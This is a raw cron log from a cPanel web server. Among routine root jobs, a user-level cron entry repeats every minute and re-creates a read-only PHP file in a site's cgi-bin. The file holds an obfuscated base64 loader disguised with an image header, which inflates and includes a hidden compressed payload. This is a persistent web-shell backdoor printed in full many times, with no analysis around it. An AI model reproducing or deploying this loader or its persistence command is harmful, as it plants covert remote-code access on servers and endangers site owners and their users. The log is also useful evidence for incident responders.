Sep  4 10:51:01 server CROND[27824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:51:01 server CROND[27823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:51:01 server CROND[27825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:52:01 server CROND[28202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:52:01 server CROND[28203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:52:01 server CROND[28204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:53:01 server CROND[28582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:53:01 server CROND[28583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:53:01 server CROND[28584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:54:01 server CROND[28960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:54:01 server CROND[28961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:54:01 server CROND[28962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:55:01 server CROND[29442]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:55:01 server CROND[29443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:55:01 server CROND[29446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:55:01 server CROND[29454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:55:01 server CROND[29453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:55:01 server CROND[29455]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:55:01 server CROND[29458]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:56:02 server CROND[30281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:56:02 server CROND[30280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:56:02 server CROND[30282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:57:01 server CROND[30663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:57:01 server CROND[30662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:57:01 server CROND[30664]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 10:57:01 server CROND[30665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:58:01 server CROND[31043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:58:01 server CROND[31045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:58:01 server CROND[31044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:59:01 server CROND[31424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:59:01 server CROND[31425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:59:01 server CROND[31426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:00:01 server CROND[31832]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:00:01 server CROND[31830]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:00:01 server CROND[31835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:00:01 server CROND[31848]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:00:01 server CROND[31863]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 11:00:01 server CROND[31872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:00:01 server CROND[31873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:00:01 server CROND[31874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:00:01 server CROND[31871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:01:01 server CROND[32757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:01:01 server CROND[32758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:01:01 server CROND[32759]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 11:01:01 server CROND[32760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:01:01 server run-parts(/etc/cron.hourly)[32759]: starting 0anacron
Sep  4 11:01:01 server run-parts(/etc/cron.hourly)[322]: finished 0anacron
Sep  4 11:02:01 server CROND[711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:02:01 server CROND[712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:02:01 server CROND[713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
